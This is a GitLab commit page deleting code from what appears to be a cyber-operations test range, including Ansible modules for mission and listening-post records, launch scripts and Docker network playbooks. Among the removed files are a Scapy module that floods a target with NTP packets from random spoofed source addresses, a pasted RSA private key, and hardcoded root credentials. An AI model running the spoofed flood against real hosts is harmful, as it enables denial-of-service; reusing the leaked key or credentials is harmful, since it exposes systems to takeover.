Skip to content
Snippets Groups Projects
Commit edff62ed authored by Mike Marsh's avatar Mike Marsh
Browse files

more removal of code

parent 9213feac
No related branches found
No related tags found
No related merge requests found
Showing
with 0 additions and 541 deletions
#! /usr/bin/env python
import json
import types
def make_dannotation(node,mission,rtState):
if 'uuid' in node:
id = node['uuid']
else:
id = mission + "_" + node['name']
return {
'node' : {
'id' : id
},
'device' : 'device_' + node['address'],
'execution_trace' : mission,
'user' : 'mrsbutterworth',
'timestamp' : 0,
'blue' : False,
'noStrike' : False,
'vantagePool' : False,
'proxyPool' : False,
'isController' : False,
'target' : False,
'state' : rtState
}
def make_cannotation(node,isLP,isProxy,isVantage):
return {
'id' : "ca_" + node['address'],
'device' : 'device_' + node['address'],
'listening_post' : isLP,
'redirector': isProxy,
'vantage' : isVantage,
'assigned' : False
}
def make_ipv4net(node):
return {
'node' : {
'id' : node['address']
},
'cidr' : node['address'] + '/32',
'min_ip' : 1,
'max_ip' : 1
}
def make_device(node):
return {
'node' : {
'id' : 'device_' + node['address']
},
'has' : [ 'svc_' + node['address'] ]
}
def make_associated(node):
return {
'edge' : {
'id' : 'edge_' + node['address'],
'from_id' : node['address'],
'to_id' : 'device_' + node['address']
}
}
def make_credential(node,key):
return {
'node' : {
'id' : 'cred_' + node['address']
},
'user' : 'root',
'password' : 'px',
'key' : key
}
def make_service(node):
return {
'node' : {
'id' : 'svc_' + node['address']
},
'name' : 'ssh',
'state' : 'STARTED',
'has' : [ 'cred_' + node['address'] ]
}
def extract(nodes,rtState,key=None):
dannotations = []
cannotations = []
devices = []
ipv4nets = []
associations = []
credentials = []
services = []
isLP = True if rtState == 'LISTENING_POST' else False
isProxy = True if rtState in ('VANTAGE_POINT','NOT_DEPLOYED') else False
isVantage = True if rtState in ('VANTAGE_POINT','NOT_DEPLOYED') else False
for node in nodes:
devices.append(make_device(node))
ipv4nets.append(make_ipv4net(node))
cannotations.append(make_cannotation(node, isLP, isProxy, isVantage))
associations.append(make_associated(node))
credentials.append(make_credential(node,'gozer' if key is None else key))
services.append(make_service(node))
if 'mission' in node:
mission_spec = node['mission']
if isinstance(mission_spec,types.ListType):
for mission in mission_spec:
dannotations.append(make_dannotation(node, mission, rtState))
else:
dannotations.append(make_dannotation(node, mission_spec, rtState))
return (dannotations,devices,ipv4nets,associations,cannotations,credentials,services)
def main():
module = AnsibleModule(argument_spec=dict(
nodes=dict(required=True),
state=dict(required=True),
key=dict(required=False),
))
changed=False
nodes = module.params['nodes']
rtState = module.params['state']
key = None
if 'key' in module.params:
key = module.params['key']
js = nodes.replace('\'','"')
j = json.loads(js)
dannotations,devices,ipv4nets,associations,cannotations,credentials,services = extract(j,rtState,key)
module.exit_json(changed=changed,
dannotations=dannotations,
devices=devices,
ipv4nets=ipv4nets,
associations=associations,
cannotations=cannotations,
credentials=credentials,
services=services)
from ansible.module_utils.basic import *
main()
#! /usr/bin/env python
from scapy.all import IP, UDP, NTP, send
import random
def do_blitz(target,num):
for i in range(num):
source = "%d.%d.%d.%d" % (random.randint(1,254),
random.randint(0,254),
random.randint(0,254),
random.randint(1,254))
pkt = IP(src=source,dst=target)/UDP()/NTP(id=source)
send(pkt)
def main():
module = AnsibleModule(argument_spec=dict(
ip=dict(required=True,type='str'),
nblitz=dict(required=True,type='int'),
))
do_blitz(module.params['ip'],module.params['nblitz'])
module.exit_json()
from ansible.module_utils.basic import *
main()
#! /bin/bash
. $1
pid_luna_bridge=$(ps -u root -o pid,cmd | grep luna-bridge | grep -v grep | cut -d' ' -f1)
pid_plan=$(ps -u root -o pid,cmd | grep plan.py | grep -v grep | cut -d' ' -f1)
if [ "x${pid_luna_bridge}" != "x" ]
then
echo "killing luna bridge on pid ${pid_luna_bridge}" >&2
kill ${pid_luna_bridge}
fi
if [ "x${pid_plan}" != "x" ]
then
echo "killing plan on pid ${pid_plan}" >&2
kill ${pid_plan}
fi
cd /usr/local/src/controller-visualization/examples
nohup python luna-bridge.py ${core_addr} >/tmp/luna-bridge.out 2>/tmp/luna-bridge.err &
if [ $? -eq 0 ]
then
failed="false"
else
failed="true"
echo "changed=true failed=${failed}"
exit 1
fi
cd /usr/local/src/TestMissionNTP1
nohup python plan.py > /tmp/plan.out 2>/tmp/plan.err &
if [ $? -eq 0 ]
then
failed="false"
else
failed="true"
fi
echo "changed=true failed=${failed}"
#! /bin/bash
arg_file=$1
. ${arg_file}
arg_list=""
if [ "x${port}" != "x" ]
then
arg_list="${arg_list} -p ${port}"
fi
if [ "x${addr}" != "x" ]
then
arg_list="${arg_list} -a ${addr}"
fi
if [ "x${remote_port}" != "x" ]
then
arg_list="${arg_list} -P ${remote_port}"
fi
if [ "x${remote_addr}" != "x" ]
then
arg_list="${arg_list} -A ${remote_addr}"
fi
cd /usr/local/src/controller-stubs/runtime
nohup lua runtime.lua ${arg_list} >/tmp/sp.out 2>/tmp/sp.err &
if [ $? -eq 0 ]
then
failed="false"
else
failed="true"
fi
echo "changed=true failed=${failed}"
#! /usr/bin/env python
import json
import pxluna
import pxluna.configs.localhost
from pxavro.types import Blob, ExampleRecord
from tornado import stack_context
from tornado import gen
from tornado.ioloop import IOLoop
import logging
logging.basicConfig()
config = lambda: None
def get_ip(manifest):
global config
fd = open(manifest)
j = json.load(fd)
blue_nodes = j['blue_nodes']
containers = blue_nodes['containers']
nodes = containers['nodes']
luna = None
for node in nodes:
if node['Name'] == '/luna':
luna = node
break
networkSettings = luna['NetworkSettings']
ipAddr = networkSettings['IPAddress']
setattr(config,'LUNA_HOSTNAME',ipAddr)
return ipAddr
@gen.coroutine
def query(client,qString):
query_response = yield client.query(qString)
@gen.coroutine
def main():
client = pxluna.SatelliteClient()
try:
yield client.setup(config)
yield query(client,'@Fetch { type:missionannotation.MissionAnnotation }')
except:
# If you don't wrap the yields with an exception handler, the
# errors currently get swallowed by tornado
logging.exception("Exception during luna processing!")
if __name__ == '__main__':
print "The luna server is on",get_ip("manifest.json")
IOLoop.instance().run_sync(main)
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCdzUYpxOfsB2AUfwzpMl/5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AyWwPnmcCVFC/wyKdW+AsNoTDMG+XsDvxy0ddpPFpd9bauoOqo0+S
ZFoZDi1fbQ84x0xgTU+j7UagaOqVixBlcoJhOIadlwSxxjTDy7I5Ihf8yHhbpNWC
yvvtwt5QdKzkF/TziI2mhupck+s8/w/8zj8rnpxffcgBkDKt98tpRK8CgYEAyI9u
EFhPRyWCVEcu+jLoiDrwob8h8RhEh6+5N73RsFZtyJqltceeH8m61o8QaBTTn0Z1
BYUvzFeBj7RO21DxAzmNuJdsVRV+ungsSDF9Q4YF1TblHGygNtk/6iiBOTnL0GOD
xXq+P52wKDFAjXMZQ7BxeTYkgIgpSaQL6h5dzBcCgYBJIod5SIW7/6XhQIxKc9cZ
5JLK33oAb4OX/82suktFTCoXVv96VMYe0egPEcJ4YvKGyuCcsbIf0WklLyglWkq7
jUOntpk54GZ8RWRibc/45STP1YPREgVvlpH6E6a69pvLZxGWH3i7vBTpUJzRMAjn
CmDYMocpsJmAtiYctyr92QKBgAggx/UhnxTjEEUaHW1GYuYifV4QwO9kbGKTXI5F
wxnCZvCaU9zqGh5vroLDiYauUWVDFbsDisxdP4Lza763qQzYaEXy3REVre0gsaq7
VrhF1jat4tskC9otM8npmlMXZIstfUmjj9JEMb9vP457+6oinHatGw2adxHk9Bao
5GRBAoGBAL4FrcWE0tAUCOa3BsogsK2IYSJXLtfK6DriUG3ZcSw0GKm8XkYHhCj9
EdxpiU+7kFWs0aybe2nImHj+WDgbUBuCiMOIggB/Le9nfgXkr5/eh2MY0B0xocp8
evpyNZHj42caUrL4RzsBXwpJNOgQKliPFU3FTPQ4QEyRO4AjKq9X
-----END RSA PRIVATE KEY-----
---
- name: Install the deployer
pip: name=deployer extra_args='{{pip_args}}'
- name: Create a .ssh directory
file: state=directory
path=/root/.ssh
- name: Copy in the ssh public key
copy: src=authorized_keys
dest=/root/.ssh/
- name: Copy in the ssh private key
copy: src=planx_key
dest=/root/.ssh/
mode=0600
- name: Make sure the deployer directory exists
file: state=directory
path=/opt/deployer
- name: Add the SOCKS proxy configuration to the magic file
shell: /bin/echo -n "127.0.0.1:1080" > /opt/deployer/proxy.txt
- name: Set the permissions on the SOCKS file
file: path=/opt/deployer/proxy.txt
mode=0666
- name: Copy the deployer's supervisord config file
template: src=deployer.conf.j2
dest=/etc/supervisor/conf.d/deployer.conf
- name: Reload the supervisord configuration
command: supervisorctl reload
---
- include: deployer.yml
[program:socks]
command=ssh -o StrictHostKeyChecking=no -i /root/.ssh/planx_key -t -t -D 1080 localhost
redirect_stderr=true
stdout_logfile=/var/log/bluecontroller/socks.log
umask=000
[program:deployer]
command=pxsvchost -m deployer_svc.deployer --luna {{plan_dir}}/pxluna_configs_mte.py --mercury pxmercury.configs.localhost -c deployer_svc.config
redirect_stderr=true
stdout_logfile=/var/log/bluecontroller/deployer.log
umask=000
---
- name: Clean up any old builds (we are cross-mounted)
command: make clean chdir=/runtime/src
- name: Build the runtime executable
command: make linux chdir=/runtime/src
---
- include: grey_builder.yml
---
- name: Pull the latest version of the blue builder image
command: docker pull {{blue_builder_image}}
when: not detached
- name: Spin up the plan master
docker: image={{blue_builder_image}}
name=plan_master
hostname=plan_master
password=px
publish_all_ports=true
volumes="{{work_dir}}/plan:{{plan_dir}},{{work_dir}}/extsrc/runtime:{{runtime_dir}},{{work_dir}}/extsrc/BlueController:{{controller_dir}},{{work_dir}}/extsrc/playbook:/opt/playbook,{{work_dir}}/logs/plan_master:/var/log/bluecontroller,{{work_dir}}/extsrc/{{nsq_unpacked}}:{{nsq_dir}},{{work_dir}}/extsrc/pipcache:{{pip_cachedir}}"
register: plan_master_info
- set_fact:
plan_master_container: "{{plan_master_info.ansible_facts.docker_containers[0]}}"
- name: Create the network namespace
file: state=link
src=/proc/{{plan_master_container.State.Pid}}/ns/net
path=/var/run/netns/plan_master
- name: Wire the plan master into the network
networked: state=full
name=plan_master
ip={{plan_master_ip}}
gw={{gw_ip}}
prefix={{subnet_prefix}}
gwns={{gwname}}
gwdev={{bridgedev}}
wprefix={{wsubnet_prefix}}
register: plan_master_facts
- set_fact:
plan_master_docker_ip: "{{plan_master_container.NetworkSettings.IPAddress}}"
- set_fact:
plan_master:
container: "{{plan_master_container}}"
network: "{{plan_master_facts}}"
---
- name: Pull the latest version of the sshd image
command: docker pull {{sshd_image}}
when: not detached
- name: Start the gateway container
docker: image={{sshd_image}}
name={{gwname}}
hostname={{gwname}}
password=px
publish_all_ports=true
volumes="{{work_dir}}/logs/{{gwname}}:/var/log/supervisor"
register: gateway_info
- set_fact:
gateway_container: "{{gateway_info.ansible_facts.docker_containers[0]}}"
- name: Create the netns directory, if it does not exist
file: path=/var/run/netns
state=directory
recurse=yes
- name: Create the network namespace for the gateway
file: path=/var/run/netns/{{gwname}}
state=link
src=/proc/{{gateway_container.State.Pid}}/ns/net
- name: Create the bridge device on the gateway
networked: state=bridge
ns={{gwname}}
dev={{bridgedev}}
addr={{gw_ip}}
- name: Set up the "wide-area subnet" (WAS), if necessary
include: was.yml
when: have_WAS
- name: Capture the bridge device traffic
tcpdump: namespace={{gwname}}
file="pcaps/{{gwname}}.pcap"
device={{bridgedev}}
when: capture_bridges
---
- name: Pull the latest version of the px-luna image
command: docker pull {{luna_image}}
when: not detached
- name: Spin up the px-luna container
docker: image={{luna_image}}
name=luna
hostname=luna
password=px
publish_all_ports=true
volumes="{{work_dir}}/logs/luna:/var/log/supervisor"
register: px_luna_info
- set_fact:
px_luna_container: "{{px_luna_info.ansible_facts.docker_containers[0]}}"
- name: Create the network namespace
file: state=link
src=/proc/{{px_luna_container.State.Pid}}/ns/net
path=/var/run/netns/luna
- name: Wire the luna server into the network
networked: state=full
name=luna
ip={{luna_ip}}
gw={{gw_ip}}
prefix={{subnet_prefix}}
gwns={{gwname}}
gwdev={{bridgedev}}
wprefix={{wsubnet_prefix}}
register: px_luna_facts
- set_fact:
px_luna_ip: "{{px_luna_container.NetworkSettings.IPAddress}}"
- set_fact:
px_luna:
container: "{{px_luna_container}}"
network: "{{px_luna_facts}}"
# Configure the luna connection from the host
- name: Set the luna host IP address from the Docker host
template: dest=plan/pxluna_configs_mte_host.py
src=pxluna.configs.mte_host.j2
---
- include: testbed_blue_config.yml
---
- include: gateway_setup.yml
- include: luna_setup.yml
- include: BlueController_setup.yml
- name: Generate a mission UUID
command: uuidgen
register: mission_uuidgen
- name: Grab the mission UUID
set_fact:
mission_id: "{{mission_uuidgen.stdout}}"
- name: Trigger the next step
add_host: name=localhost
groups=g_builders_config
---
- name: Create the wide-area link on the gateway
networked: state=link
ns0={{gwname}}
dev0={{i_wlink}}
addr0={{gw_ip}}
dev1={{e_wlink}}
addr1={{gw_ip}}
- name: Set up the incoming routing for the wide-area link
networked: state=route
dev={{e_wlink}}
addr={{gw_ip}}
net={{subnet}}/{{subnet_prefix}}
- name: Set up the outgoing routing for the wide-area link
networked: state=route
ns={{gwname}}
dev={{i_wlink}}
addr={{gw_ip}}
net={{wsubnet}}/{{wsubnet_prefix}}
LUNA_HOSTNAME = "{{px_luna_ip}}"
---
- include: testbed_builders_config.yml
0% Loading or .
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment